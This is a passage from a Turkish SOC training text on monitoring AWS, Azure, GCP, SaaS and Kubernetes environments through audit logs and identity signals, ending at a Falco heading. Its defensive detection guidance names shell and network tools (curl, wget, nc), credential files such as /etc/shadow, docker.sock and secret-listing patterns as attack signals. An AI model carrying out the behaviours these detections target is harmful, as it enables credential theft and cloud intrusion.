Cloud ortamında SOC’un öncelikli izlemesi gereken şeyler şunlardır: kim hangi API’yi çağırdı, hangi kaynağa erişti, hangi IP ve kullanıcı ajanından geldi, işlem başarılı mı yoksa başarısız mı, bu action o principal için olağan mı değil mi? Endpoint üzerindeki process execution ne kadar kritikse, cloud’da iam:CreateUser, iam:CreateAccessKey, s3:GetObject, ec2:ModifyInstanceAttribute, Microsoft.Authorization/roleAssignments/write veya GCP SetIamPolicy gibi eylemlerin kim tarafından ve hangi bağlamda yapıldığı o kadar kritiktir.

Cloud ortamında “ağ görmedim, endpoint görmedim, bir şey yok” mantığı son derece tehlikelidir. Saldırı tamamen API çağrıları üzerinden gerçekleşebilir. Audit log devre dışıysa, SIEM’e alınmıyorsa veya analitik kurallar bu logları işlemiyorsa SOC kör kalır.

7.1.2 Shared Responsibility Model ile Sorumluluk Paylaşımını Anlama

AWS, Azure ve GCP’nin güvenlik modellerinde ortak bir prensip vardır: sağlayıcı altyapının belirli güvenlik katmanlarından sorumludur; müşteri ise üzerinde çalıştırdığı iş yükleri, kimlikler, veriler, erişim politikaları ve konfigürasyonların önemli bir bölümünden sorumludur. IaaS seviyesinde müşteri işletim sistemi, uygulama katmanı, ağ konfigürasyonu, kimlik ve veri güvenliğinde daha fazla sorumluluk taşır. PaaS ve SaaS’ta bazı sorumluluklar sağlayıcıya kayar; ancak kimlik ve erişim yönetimi hemen her zaman müşterinin kritik sorumluluk alanıdır. AWS shared responsibility modeli, müşterinin veri, platform, uygulama, IAM ve konfigürasyon tarafındaki sorumluluğunu açıkça ayırır.

SOC açısından bu modelin pratik anlamı şudur: Sağlayıcı altyapı güvenliğinin büyük bölümünü yönetir; ancak müşteri tarafındaki kimlik, veri, konfigürasyon, uygulama ve workload güvenliği SOC’un izleme kapsamındadır. Sağlayıcı service health, native detection ve audit servisleri sunabilir; fakat bu servislerin SIEM’e alınması, bağlamla yorumlanması ve kurum riskine göre aksiyona dönüştürülmesi müşteri/SOC sorumluluğundadır.

Sağlayıcı zaman zaman native tehdit tespit servisleri sunar: AWS GuardDuty, AWS Security Hub, Microsoft Defender for Cloud, Microsoft Defender XDR, Google Security Command Center gibi. Bunlar SOC akışına entegre edilmesi gereken değerli girdilerdir; ancak tek başına yeterli değildir. Native bulguların audit log, identity log, endpoint telemetry ve change management bağlamıyla desteklenmesi gerekir.

7.1.3 Control Plane ile Yönetim Aktivitelerini İzleme

Control plane, cloud kaynaklarını oluşturmak, yapılandırmak, değiştirmek veya silmek için kullanılan yönetim katmanıdır. AWS’de CloudTrail management events, Azure’da Azure Activity Logs, GCP’de Admin Activity audit logs bu katmanın temel örnekleridir. AWS CloudTrail event türleri management, data, network activity ve Insights event’leri olarak ayrılır; trails ve event data store’lar varsayılan olarak management events kaydeder, data/network activity/Insights event’leri ayrıca etkinleştirme gerektirebilir.

SOC açısından control plane son derece kritiktir. Bir saldırgan persistence sağlamak için yeni bir IAM kullanıcısı oluşturursa, bir role’e yeni trust ilişkisi eklerse, bir security group’u internete açarsa, bir Azure role assignment yaparsa veya GCP IAM policy değiştirirse bu eylemler control plane loglarında görünür.

AWS tarafında CloudTrail için multi-region trail veya tüm enabled region’ları kapsayan event data store yapılandırması tercih edilmelidir. AWS, multi-region trail kullanılmasını best practice olarak önerir; CloudTrail console ile oluşturulan trail’ler multi-region oluşturulur, ancak CLI/API ile single-region trail oluşturmak mümkündür. SOC yalnızca CloudTrail’in açık olup olmadığını değil; management event, data event, organization trail, multi-region kapsamı ve SIEM connector ingestion sağlığını birlikte kontrol etmelidir.

Dikkat: StopLogging, DeleteTrail, UpdateTrail, PutEventSelectors gibi CloudTrail görünürlüğünü etkileyen event’ler yüksek öncelikli incelenmelidir. Ancak planlı logging mimarisi değişiklikleri, organization trail güncellemeleri ve merkezi log account yapılandırmaları change management ile doğrulanmalıdır.

7.1.4 Data Plane ile Veri Erişim Aktivitelerini Anlama

Data plane, verinin işlendiği, okunduğu, yazıldığı veya taşındığı katmandır. AWS’de CloudTrail data events — örneğin S3 GetObject, PutObject, DeleteObject gibi object-level aktiviteler — data plane görünürlüğü sağlar. Azure’da ilgili servislerin Azure Monitor resource logs / diagnostic settings çıktıları; örneğin Storage read/write/delete logları, Key Vault erişimleri veya servis özel resource logları data plane görünürlüğü için kullanılır. GCP’de ise Data Access audit logs bu katmanın temel kaynaklarından biridir. Azure Activity Log subscription-level yönetim olayları için temel kaynaktır; servis içi resource davranışları için ayrıca Azure Monitor resource logs gerekir.

Data plane logları çoğu zaman varsayılan olarak kapalıdır veya ayrıca yapılandırılmalıdır. Hacim genellikle yüksektir; çünkü her dosya okuma, nesne yazma veya veri erişim işlemi kayıt üretebilir. Bu nedenle kritik veri depolama alanları, hassas veritabanları, yedek bucket’lar, kimlik bilgisi arşivleri, storage account’lar ve secret yönetim servisleri için data plane logları seçici olarak etkinleştirilmeli ve SIEM’e alınmalıdır.

Veri sızıntısı soruşturmalarında data plane logları çoğu zaman belirleyicidir. Bir S3 bucket’tan hangi nesnelerin, hangi zaman diliminde, hangi kimlik tarafından indirildiğini görmek çoğu durumda ilgili data event loglarının aktif olmasına bağlıdır.

7.1.5 Multi-Cloud SOC Zorluklarını Değerlendirme

Aynı kurumun AWS, Azure ve GCP üzerinde iş yükleri çalıştırması artık istisnai değil, oldukça yaygın bir senaryodur. Bu yapı SOC için ciddi bir zorluk doğurur: her sağlayıcının log formatı farklıdır, servis adları örtüşmez, API yapıları birbirinden ayrışır ve native güvenlik araçları platforma özeldir.

Multi-cloud ortamda aynı güvenlik amacına hizmet eden davranışlar farklı event adlarıyla görünür. Credential/persistence açısından AWS’de CreateAccessKey, Azure Entra tarafında service principal credential ekleme olayları, GCP’de service account key creation davranışları izlenir. Yetki değişikliği açısından AWS’de AttachUserPolicy / PutUserPolicy, Azure’da Microsoft.Authorization/roleAssignments/write, GCP’de SetIamPolicy izlenir. Bunlar birebir aynı event değildir; aynı güvenlik ailesinin farklı platform karşılıklarıdır.

Multi-cloud ortamda SOC’un yapması gereken şeyler şunlardır: platform bağımsız bir event şeması oluşturmak, örneğin ECS, Splunk CIM veya kuruma özel bir normalizasyon katmanı kullanmak; kritik action’lar için platform bağımsız detection logic yazmak; her platformun log’larının düzenli olarak gelip gelmediğini connector health ile izlemek; ayrıca her platformun kendi native servislerini ve audit kapsamını ayrı ayrı doğrulamak.

7.2 Cloud Ortamlar İçin Kritik Log Kaynakları

7.2.1 AWS CloudTrail ile API Çağrılarını İzleme

CloudTrail, AWS ortamındaki hesap aktivitelerini ve CloudTrail tarafından desteklenen API / non-API account activity kayıtlarını izlemek için merkezi audit kaynağıdır. Varsayılan olarak management event’ler kaydedilir; S3 object-level erişimleri, Lambda invoke gibi data plane event’leri, network activity events ve Insights events ayrıca etkinleştirilmelidir. Bu nedenle SOC, CloudTrail’in yalnızca açık olan event türlerini gördüğünü bilmeli ve kritik kaynaklar için data event kapsamını ayrıca doğrulamalıdır.

CloudTrail event’lerinde SOC için en kritik alanlar şunlardır: eventTime, eventName, eventSource, userIdentity, sourceIPAddress, userAgent, awsRegion, requestParameters, responseElements, errorCode, recipientAccountId. Access key kullanımı analiz edilirken userIdentity.accessKeyId veya SIEM’in normalize ettiği karşılık alan kontrol edilmelidir. AWS CloudTrail userIdentity elementi, isteği yapan IAM kimliği ve hangi credential’ın kullanıldığı hakkında detay içerir.

Aile	Örnek Event’ler	Neden Kritik?
IAM değişiklikleri	CreateUser, AttachUserPolicy, PutUserPolicy, CreateAccessKey	Backdoor hesap, credential oluşturma veya yetki yükseltme
Oturum açma / role geçişi	ConsoleLogin, AssumeRole	Kimin, nereden, ne zaman giriş yaptığı ve hangi role geçtiği
Konfigürasyon değişikliği	PutBucketPolicy, AuthorizeSecurityGroupIngress, ModifyInstanceAttribute	Güvenlik kontrol bypass veya exposure riski
Veri erişimi	S3 GetObject, DeleteObject, secret erişim API’leri	Veri sızıntısı, credential erişimi veya hassas bilgi okuma
Logging / hesap güvenliği	DeleteTrail, StopLogging, UpdateTrail, PutEventSelectors	Güvenlik görünürlüğünü kapatma veya azaltma girişimi

errorCode alanı da son derece değerlidir. AccessDenied hatası alan bir principal, erişim yetkisi olmadığı bir kaynağa erişmeye çalışıyor olabilir. Aynı principal’dan kısa süre içinde çok sayıda AccessDenied hatası geliyorsa bu, privilege enumeration, yanlış yapılandırılmış otomasyon veya lateral movement girişiminin sinyali olabilir.

7.2.2 AWS GuardDuty ile Cloud-Native Tehdit Bulgularını Değerlendirme

GuardDuty, AWS tarafından yönetilen bir tehdit tespit servisidir. Temel olarak CloudTrail management events, VPC Flow Logs, DNS logs ve ilgili protection plan’lara bağlı olarak S3 data events, EKS audit logs, runtime activity, RDS login activity, Lambda network activity, EBS volume data gibi kaynaklardan sinyal üretebilir. Bu nedenle SOC yalnızca GuardDuty’nin açık olup olmadığını değil, hangi protection plan’ların etkin olduğunu da kontrol etmelidir.

GuardDuty bulguları severity level ve numeric severity value ile gelir. Güncel seviyeler Low, Medium, High ve Critical olarak değerlendirilir; numeric değer 1.0–10.0 aralığındadır ve değer arttıkça öncelik artar. SOC, severity’yi tek başına karar noktası değil; resource criticality, CloudTrail bağlamı, IAM kimliği, source IP ve workload baseline ile birlikte triaj girdisi olarak kullanmalıdır.

GuardDuty finding type adları zaman içinde güncellenebilir, yeni finding type’lar eklenebilir veya bazıları emekliye ayrılabilir. Bu nedenle eğitimde görülen finding type örnekleri kavramsal olarak anlaşılmalı; production ortamında aktif finding type listesi AWS GuardDuty dokümantasyonundan kontrol edilmelidir.

GuardDuty bulguları SIEM’e alınmalı ve diğer log kaynaklarıyla korele edilmelidir. Örneğin bir IAM credential compromise bulgusu geldiğinde yalnızca GuardDuty finding ekranına bakmak yeterli değildir; ilgili principal için CloudTrail aktiviteleri, ConsoleLogin, AssumeRole, CreateAccessKey, ListBuckets, GetObject, sourceIPAddress ve userAgent alanlarıyla araştırma genişletilmelidir.

7.2.3 AWS Security Hub ile Güvenlik Bulgularını Merkezi Değerlendirme

Security Hub, desteklenen AWS güvenlik servislerinden ve üçüncü taraf entegrasyonlardan gelen bulguları tek bir noktada toplayabilir ve AWS Security Finding Format (ASFF) formatında standardize eder. ASFF, Security Hub finding’leri için kullanılan JSON tabanlı standart formattır.

Security Hub; GuardDuty, Inspector, Macie, IAM Access Analyzer ve üçüncü taraf güvenlik ürünlerinden gelen bulguların merkezi değerlendirilmesini kolaylaştırır. Ayrıca AWS Foundational Security Best Practices veya CIS gibi standartlara göre security controls / compliance findings üretebilir. SOC açısından değeri, tek tek servis ekranlarını gezmek yerine farklı cloud güvenlik bulgularını tek bir finding yapısı üzerinden önceliklendirebilmektir.

7.2.4 Azure Activity Logs ile Azure Yönetim İşlemlerini İzleme

Azure Activity Logs, Azure Resource Manager / subscription-level yönetim işlemleri için temel log kaynağıdır. Yeni bir sanal makine oluşturmak, bir role assignment değiştirmek, bir network security group kuralı güncellemek veya bir kaynak üzerinde yönetimsel değişiklik yapmak gibi işlemler Activity Log’da görülebilir. Microsoft dokümantasyonu Azure Activity Log’un subscription-level event’lere görünürlük sağladığını belirtir.

Ancak Entra ID tenant işlemleri, sign-in olayları, servis içi resource logs ve data plane erişimleri için Entra Audit Logs, Sign-in Logs ve Azure Monitor resource logs ayrıca toplanmalıdır. Bu ayrım önemlidir: Azure Activity Log “Azure’daki her şeyi” göstermez; ARM/subscription yönetim katmanında görünürlük sağlar.

Kritik alanlar şunlardır: caller, operationName, resourceType, resourceId, resultType, eventTimestamp, ipAddress, properties. Microsoft.Authorization/roleAssignments/write, Azure RBAC role assignment oluşturma veya güncelleme davranışı için kritik bir sinyaldir. Analist caller, resourceId, operationName, status/resultType, properties, roleDefinitionId, principalId, principalType ve scope bilgisini birlikte okumalıdır. Alan adları AzureActivity, resource logs veya SIEM parser’a göre değişebileceği için üretim sorgusunda şema doğrulanmalıdır.

SOC Perspektifi: Beklenmedik bir kaynak grubuna, subscription’a veya management group kapsamına Owner rolü atanması yüksek öncelikli alarm senaryosudur. Ancak role assignment değişikliğinin planlı deployment, break-glass prosedürü, yönetici işlemi veya saldırgan persistence girişimi olup olmadığı bağlamla doğrulanmalıdır.

7.2.5 Entra ID Sign-in Logs ile Kimlik Doğrulama Davranışlarını Analiz Etme

Microsoft Entra ID sign-in görünürlüğü interactive user sign-in, non-interactive user sign-in, service principal sign-in ve managed identity sign-in gibi farklı akışlara ayrılabilir. Sentinel / Log Analytics ortamında bu olaylar SigninLogs, AADNonInteractiveUserSignInLogs, AADServicePrincipalSignInLogs gibi ayrı tablolarda görülebilir. Bu nedenle “Sign-in Logs” denirken hangi tablo ve hangi sign-in tipi analiz edildiği net yazılmalıdır. Microsoft Entra dokümantasyonu sign-in log türlerini interactive user sign-ins, non-interactive user sign-ins, service principal sign-ins ve managed identity sign-ins olarak ayırır.

SOC için kritik alanlar: UserPrincipalName, IPAddress, Location, ClientAppUsed, DeviceDetail, ConditionalAccessStatus, AuthenticationDetails, RiskLevelAggregated, RiskState, Status, AppDisplayName, CorrelationId. Risk sinyalleri yorumlanırken riskLevelAggregated, riskState, riskDetail ve varsa riskEventType / Identity Protection risk detection kayıtları birlikte değerlendirilmelidir. impossibleTravel, anonymizedIPAddress, unfamiliarFeatures, anomalousToken gibi değerler risk detection / risk event type bağlamında ele alınmalı; alan adlarının Sentinel, Graph API ve SIEM parser’a göre değişebileceği belirtilmelidir.

SOC bu log üzerinde özellikle şu sinyalleri izler: başarısız ardından başarılı giriş, alışılmadık ülkeden başarılı giriş, impossible travel, MFA başarısızlığı/sonrasında başarılı oturum, Conditional Access kapsam dışı kalan oturumlar, risky sign-in olarak işaretlenmiş aktiviteler, beklenmeyen client app kullanımı ve service principal aktiviteleri.

7.2.6 Microsoft Defender for Cloud ile Cloud Workload Risklerini Değerlendirme

Microsoft Defender for Cloud, Azure VM’leri, AKS cluster’ları, storage account’lar, Key Vault’lar, SQL servisleri ve diğer workload tipleri için güvenlik duruşu değerlendirmesi ve tehdit koruması sağlayabilir. SOC açısından Defender for Cloud’un iki temel katkısı vardır.

Birincisi aktif tehdit tespitidir. Örneğin workload üzerinde şüpheli process, credential theft şüphesi, container runtime bulgusu veya network anomalisi gibi alert’ler SIEM veya Microsoft Sentinel tarafına iletilebilir.

İkincisi risk bağlamıdır. Bir VM’de kritik zafiyet varsa ve aynı varlık üzerinde şüpheli aktivite alarmı varsa, bu iki sinyal birlikte değerlendirildiğinde alarmın önceliği artar. Bu yaklaşım risk-based detection mantığıyla uyumludur: tekil sinyalin kendisi değil, çevresindeki risk bağlamı da kararın parçasıdır.

7.2.7 GCP Audit Logs ile Google Cloud Aktivitelerini İzleme

GCP Cloud Audit Logs dört ana türden oluşur: Admin Activity, Data Access, System Event ve Policy Denied. Admin Activity ve System Event logları her zaman yazılır ve kapatılamaz. Data Access logları — BigQuery istisnası dışında — varsayılan olarak kapalıdır ve ayrıca etkinleştirilmelidir. Policy Denied logları ise güvenlik politikası ihlali nedeniyle erişim reddedildiğinde üretilir.

GCP loglarında protoPayload.authenticationInfo.principalEmail kimin yaptığını, protoPayload.methodName ne yapıldığını, protoPayload.resourceName hangi kaynakta yapıldığını gösterir. protoPayload.status.code başarı/hata durumunu, protoPayload.requestMetadata.callerIp ise kaynak IP bilgisini sağlar.

SetIamPolicy, GCP’de IAM policy değişiklikleri için kritik bir sinyaldir. Bu method üzerinde alert kurmak ve context’ini değerlendirmek cloud IAM güvenliği açısından önemli bir use case’tir. Ancak Admin Activity logları “aktif değilse görünmez” denmemelidir; Admin Activity logları varsayılan olarak yazılır. Sorun daha çok log sink/route yapılmamış olması, SIEM’e aktarılmaması, yalnızca belirli project/folder loglarının toplanması, yanlış log bucket/retention veya analistin gerekli log erişim yetkisine sahip olmaması olabilir.

7.2.8 SaaS Loglarıyla Üçüncü Taraf Bulut Uygulamalarını İzleme

Microsoft 365, Google Workspace, GitHub, Slack, Jira, Salesforce gibi SaaS platformları kurumun önemli iş süreçlerini ve hassas verilerini barındırır. Bu platformlar kendi audit loglarını üretir ve çoğu SIEM platformuna connector veya API aracılığıyla beslenebilir. Ancak audit log erişimi lisans, plan, rol/permission ve retention sınırlarına bağlıdır. SOC yalnızca connector var mı diye değil; hangi event kategorileri geliyor, retention ne kadar, hangi kullanıcı/servis aktiviteleri kapsam dışı kalıyor sorularını da kontrol etmelidir.

Microsoft 365 Unified Audit Log, Exchange, SharePoint, OneDrive, Teams, Purview ve diğer M365 servislerinin aktivitelerini kapsayabilir. Microsoft Purview audit activity listesi, M365 audit loglarında aranabilecek activity türlerini ürün bazında listeler.

SOC için örnek M365 audit operation’ları şunlardır: MailboxLogin, SearchQueryInitiated, SharepointSearchQueryInitiated, SearchQueryPerformed, FileDownloaded, FileDeleted, FileRecycled, AnonymousLinkCreated, paylaşım ve grup/Teams üyelik değişiklikleri. FileMassDelete gibi üretim şemasında doğrulanmamış genel adlar kullanılmamalı; gerçek operation name Microsoft Purview Audit Log Activities listesinden veya tenant’taki ham audit kaydından teyit edilmelidir.

GitHub audit logları repository erişimi, secret exposure, webhook değişiklikleri, organization-level policy değişiklikleri ve kullanıcı/entegrasyon aktiviteleri açısından kritiktir. Slack Audit Logs API, özellikle Enterprise Grid ortamında yönetim ve kullanım olayları hakkında audit event görünürlüğü sağlar; ancak Slack dokümantasyonu Audit Logs API’nin message content monitoring sağlamadığını belirtir. Mesaj içeriği veya kapsamlı eDiscovery/DLP gereksinimleri için ayrı çözümler gerekebilir.

7.3 Cloud IAM ve Kimlik Odaklı Tespitler

7.3.1 Olağan Dışı Login Davranışlarını Tespit Etme

Cloud kimlik güvenliğinin SOC açısından can alıcı alanı oturum açma davranışıdır. Çünkü cloud altyapısına erişim neredeyse tamamen kimlik üzerine kuruludur. Kullanıcı adı/parola, access token, refresh token, service principal secret, access key veya federated identity credential ele geçirildiğinde saldırgan cloud kaynaklarına erişim sağlayabilir.

Olağan dışı login sinyalleri şunlardır: daha önce hiç görülmemiş bir ülkeden başarılı giriş, alışılmadık saatlerde giriş, özellikle privileged hesaplar için mesai dışı oturumlar, çok sayıda başarısız giriş ardından başarılı giriş, farklı cihaz/tarayıcıdan giriş, Conditional Access kapsamı dışında kalan oturumlar, MFA başarısızlığı veya yoğun MFA push denemeleri. Bu sinyaller tek başına göründüğünde false positive riski yüksek olabilir; birleştiğinde veya kritik hesaplarda görüldüğünde öncelik artar.

Yanlış Bilinen: “MFA varsa hesap güvende” yaklaşımı eksiktir. MFA token’ı çalınabilir, adversary-in-the-middle phishing ile oturum ele geçirilebilir, MFA fatigue saldırısı yapılabilir veya bazı legacy/basic authentication istisnaları güvenlik kontrollerini zayıflatabilir. SOC bu ihtimalleri göz önünde bulundurmalıdır.

7.3.2 Impossible Travel ile Anormal Konum Davranışını Fark Etme

Impossible travel, bir kullanıcının fiziksel olarak erişmesinin mümkün olmadığı bir süre içinde farklı coğrafi lokasyonlardan giriş yapmasıdır. Örneğin 09:00’da İstanbul’dan başarılı giriş, 09:20’de São Paulo’dan başarılı giriş fiziksel olarak açıklanamayabilir. Bu durumda kimliklerden biri ele geçirilmiş olabilir, kullanıcı VPN/proxy kullanıyor olabilir veya GeoIP verisi hatalı olabilir.

SOC bu senaryoyu değerlendirirken şu bağlamları kontrol etmelidir: kullanıcı genellikle VPN veya proxy kullanıyor mu, kurumun seyahat politikası var mı, bu ülkelerden daha önce giriş yapılmış mı, ilk giriş lokasyonundan çıkış kaydı var mı, aynı kullanıcıda başka risk event var mı, aynı IP/ASN başka kullanıcılar tarafından kullanılıyor mu?

GeoIP tek başına kesin delil değildir; ancak MFA durumu, device detail, client app, Conditional Access sonucu, risk detection, kullanıcı rolü ve oturum sonrası aktivitelerle birleştirildiğinde güçlü bir araştırma başlangıç noktası oluşturur.

7.3.3 Cloud Ortamda Yetki Yükseltme Davranışlarını Tespit Etme

Cloud ortamında privilege escalation, çoğu zaman geleneksel endpoint’teki exploit tabanlı yetki yükseltmeden çok farklı görünür. Burada saldırgan IAM policy değişikliği yaparak, mevcut bir role’e yeni permission ekleyerek, kendisini bir admin grubuna ekleyerek, yüksek yetkili bir role assume ederek veya service principal credential ekleyerek privilege kazanır.

SOC’un izlemesi gereken sinyaller şunlardır: AWS’de iam:AttachUserPolicy, iam:PutUserPolicy, iam:PassRole, sts:AssumeRole; Azure’da Microsoft.Authorization/roleAssignments/write, privileged role assignment ve service principal credential değişiklikleri; GCP’de SetIamPolicy, service account key creation ve service account impersonation/federation değişiklikleri. Standart bir geliştirici hesabının kendi IAM policy’sini değiştirmesi veya kendisine AdministratorAccess / Owner benzeri yetkiler ataması yüksek öncelikli alarm senaryosudur.

İpucu: AWS IAM’da iam:PassRole ve sts:AssumeRole kombinasyonları privilege escalation path açısından kritiktir. Bir kullanıcının yüksek yetkili bir role assume etmesi CloudTrail’de AssumeRole event’i olarak görünür ve requestParameters.roleArn alanında hangi role’ün üstlenildiği görülebilir. STS event’lerinde userIdentity, sessionContext ve responseElements yapısı standart IAM user event’lerinden farklı olabilir; üretim sorgularında bu fark dikkate alınmalıdır.

7.3.4 Access Key Misuse ile API Anahtarı Kötüye Kullanımını Yakalama

AWS access key’leri ve benzeri uzun ömürlü API kimlik bilgileri cloud güvenliğinin en kritik sorun noktalarından biridir. Bir access key sızdırıldığında saldırgan AWS API’sini doğrudan komut satırı, SDK veya özel araçlar üzerinden kullanabilir. CloudTrail bu aktiviteleri kayıt altına alabilir; ancak olayın doğru yorumlanması için userIdentity, sourceIPAddress, userAgent, eventName, eventSource, awsRegion, errorCode ve requestParameters alanları birlikte değerlendirilmelidir.

SOC’un dikkat etmesi gereken access key kullanım sinyalleri şunlardır: daha önce hiç kullanılmamış bir access key’in aniden aktive olması, daha önce belirli bir region’da kullanılan key’in farklı region’da aktivite göstermesi, beklenmedik dış IP’den gelen API çağrısı, key oluşturulmasından kısa süre sonra yoğun API aktivitesi, standart dışı user-agent string, kısa sürede çok sayıda AccessDenied hatası.

CloudTrail’de access key kullanımı analiz edilirken userIdentity.accessKeyId veya SIEM’in normalize ettiği karşılık alan kontrol edilmelidir. Bu key bilinen bir servis hesabına mı, normal kullanıcıya mı, CI/CD pipeline’a mı yoksa tanımsız/şüpheli bir kimliğe mi ait, enrichment ile hızla değerlendirilmelidir.

7.3.5 Service Account Abuse ile Makine Kimliği Kötüye Kullanımını Anlama

Cloud ortamlarında uygulamalar ve servisler de kimliğe ihtiyaç duyar. AWS’de IAM role (EC2 instance role, Lambda execution role), Azure’da Managed Identity veya Service Principal, GCP’de Service Account bu makine kimliklerini temsil eder.

Makine kimliklerinin kötüye kullanımı SOC açısından tespit etmesi en zor senaryolardan biridir; çünkü bu kimlikler normalde otomasyon aktivitesi üretir ve davranışları insan kullanıcı davranışından farklıdır. Sinyaller şunlardır: bir Lambda function role’ünün normalde yalnızca DynamoDB’ye erişmesi gerekirken S3’e veya IAM’a erişmeye başlaması, bir EC2 instance role credential’ının beklenmedik IP/ASN/region/userAgent bağlamında kullanılması, bir service principal’ın birdenbire çok sayıda farklı kaynağa erişmesi, bir GCP service account’un beklenmedik project/folder scope’unda işlem yapması.

AWS’de EC2 metadata servisinden kimlik bilgisi çalınması, SSRF saldırısının cloud’a yayılması açısından kritik bir vektördür. Instance role credential’ları beklenmeyen IP/ASN/region/userAgent bağlamında kullanılıyorsa credential exfiltration şüphesi doğar. Ancak NAT, proxy, VPC endpoint, AWS service-to-service çağrıları ve workload mimarisi nedeniyle sourceIPAddress tek başına karar verdirmez; GuardDuty bulguları, CloudTrail userIdentity context’i ve workload baseline’ı birlikte incelenmelidir.

7.3.6 MFA Bypass Sinyallerini Değerlendirme

MFA, kimlik güvenliğinde önemli bir katman olsa da birkaç farklı teknikle aşılmaya çalışılabilir. SOC bu tekniklerin izini log düzeyinde nasıl arayacağını bilmelidir.

MFA fatigue / push bombing: Saldırgan kurbanın telefona gelen MFA push bildirimlerini yorgunluk, dikkatsizlik veya sosyal mühendislik sonucunda onaylamasını umar. Entra ID tarafında kısa sürede yoğun MFA challenge, reddedilen MFA’lar ve ardından gelen başarılı giriş bu senaryoya işaret edebilir.

Legacy/basic authentication ve riskli client app kullanımı: IMAP, POP, SMTP, Exchange ActiveSync veya “Other clients” gibi client app değerleri MFA ve modern security controls açısından ayrıca değerlendirilmelidir. Microsoft, Exchange Online’da Basic Authentication’ı birçok protokol için kaldırmış olsa da tenant istisnaları, SMTP AUTH, legacy uygulamalar veya özel yapılandırmalar risk oluşturabilir. SOC, ClientAppUsed alanında bu tür değerleri görürse tenant policy, istisna ve modern auth akışıyla uyumlu olup olmadığını kontrol etmelidir.

Token theft / AiTM phishing: AiTM phishing senaryosunda oturum MFA tamamlanmış gibi görünebilir; ancak aynı kullanıcı için kısa süre içinde farklı IP/ASN, farklı device detail, farklı user agent, anormal token risk detection veya beklenmeyen downstream API aktiviteleri görülebilir. “sessionToken” alanı her log şemasında doğrudan görünmeyebilir; bu nedenle token kötüye kullanımını birden fazla sinyal üzerinden değerlendirmek gerekir.

Conditional Access kapsam dışı kalma: Bazı uygulamalar, servis principal’lar, eski client app akışları veya policy kapsamı dışında kalan koşullar nedeniyle Conditional Access uygulanmamış olabilir. conditionalAccessStatus: notApplied görüldüğünde neden uygulanmadığı anlaşılmadan olay kapatılmamalıdır.

7.4 Container ve Kubernetes Ortamlarında Güvenlik Görünürlüğü

7.4.1 Container Runtime Event’leriyle Container Davranışlarını İzleme

Container güvenliğinde “image ne içeriyor?” sorusu build-time sorusudur; SOC ise runtime’da ne olduğuyla ilgilenir. Bir container başlatıldıktan sonra içinde beklenmedik bir process çalışıyor mu, beklenmedik bir ağ bağlantısı açılıyor mu, dosya sistemine beklenmedik yazma işlemi yapılıyor mu, hassas dosyaya erişim var mı? Bunlar SOC’un cevaplamaya çalıştığı sorulardır.

Runtime event sinyalleri şunlardır: container başlatma ve durdurma aktiviteleri, container içinden yeni bir process spawn edilmesi, özellikle bash, sh, python, perl, curl, wget, nc gibi araçlar; beklenmedik network bağlantıları; /etc/passwd, /etc/shadow, /proc, /var/run/docker.sock gibi hassas konumlara erişim; root yetkisiyle çalışan process’ler.

Container runtime güvenliği için bu event’leri görmek, container runtime visibility araçları, eBPF tabanlı araçlar, Falco veya EDR/XDR’ların container desteğiyle mümkündür. Saf Kubernetes API’si bu runtime process görünürlüğünü sağlamaz; Kubernetes audit log API server davranışını gösterir, container içindeki syscall/process davranışını doğrudan göstermez.

7.4.2 Kubernetes Audit Loglarıyla Cluster Aktivitelerini İzleme

Kubernetes audit log, API server’a gelen istekleri audit policy kapsamına göre kaydeder. Hangi kaynakların, verb’lerin, subresource’ların ve request/response detaylarının loglanacağı audit policy ile belirlenir. Kubernetes dokümantasyonu auditing’i, cluster içindeki kullanıcı, uygulama ve control plane kaynaklı aksiyonların güvenlikle ilişkili kronolojik kayıtları olarak tanımlar.

SOC açısından en kritik Kubernetes audit event aileleri şunlardır:

Event / Davranış	Neden Kritik?
pods/exec	Pod içine interaktif komut çalıştırma; aktif saldırı veya yanlış yönetim pratiği
Privileged pod/container creation	Container escape ve node compromise riski
get/list secrets	Credential veya API key enumeration riski
create clusterrolebinding	Privilege escalation
delete pod/deployment	Servis kesintisi veya iz silme
patch serviceaccount	Kimlik manipülasyonu
create token / service account token aktiviteleri	Kimlik kötüye kullanımı ve lateral movement riski

Kubernetes’te pod içine komut çalıştırma davranışı çoğu audit şemasında verb=create, objectRef.resource=pods, objectRef.subresource=exec şeklinde görülür. Bu nedenle detection kuralı verb=exec aramak yerine pods/exec subresource mantığıyla yazılmalıdır.

7.4.3 Privileged Container Riskini Anlama

privileged: true, container’a çok geniş yetkiler ve host seviyesinde tehlikeli kabiliyetler verebilir; container escape ve node compromise riskini ciddi biçimde artırır. Ancak host namespace’lere erişim ayrıca hostPID, hostNetwork, hostIPC, hostPath mount ve capability ayarlarıyla birlikte değerlendirilmelidir.

SOC açısından beklenmedik bir privileged container oluşturma girişimi yüksek öncelikli bir sinyal olmalıdır. Bu kontrol Kubernetes admission webhook’larıyla, örneğin OPA/Gatekeeper veya Kyverno gibi policy motorlarıyla engellenebilir; ancak bu engel atlatılmışsa veya policy yalnızca audit modundaysa SOC’un audit log’dan fark etmesi gerekir.

hostNetwork: true, hostPID: true, hostIPC: true, hostPath mount ve geniş Linux capability setleri benzer şekilde risk taşır. Bu ayarlar production namespace’lerinde beklenmedik şekilde görülüyorsa olay araştırılmalıdır.

7.4.4 Secret Erişimi Davranışlarını Değerlendirme

Kubernetes Secret’ları API anahtarları, veritabanı şifreleri, TLS sertifikaları ve uygulama sırları gibi hassas bilgileri saklar. Bir kullanıcı veya servis account bu secret’lara eriştiğinde audit log’da get, list, watch gibi verb’lerle kayıt görülebilir; ancak audit policy bu kaynakları yeterli seviyede kaydediyor olmalıdır.

Normal davranış, pod’un kendi namespace’indeki belirli bir secret’a volume mount veya environment variable üzerinden beklenen uygulama akışıyla erişmesidir. Şüpheli davranış ise bir kullanıcının interaktif olarak tüm namespace’lerde secret listeleme girişimi yapması, alışılmadık bir service account’un list secrets davranışı üretmesi veya daha önce hiç görülmemiş bir kimliğin hassas namespace’lerde secret okumasıdır.

İpucu: Kubernetes audit log’da verb=list, objectRef.resource=secrets ve user.username birleşimi credential enumeration için kullanılan bir pattern olabilir. Bağlam önemlidir: CI/CD servisi deployment sırasında belirli secret’ları okuyorsa bu normal olabilir; insan kullanıcısının tüm secret’ları interaktif olarak listelemesi normal kabul edilmemelidir.

7.4.5 Falco ile Runtime Davranışlarını İzleme Mantığı

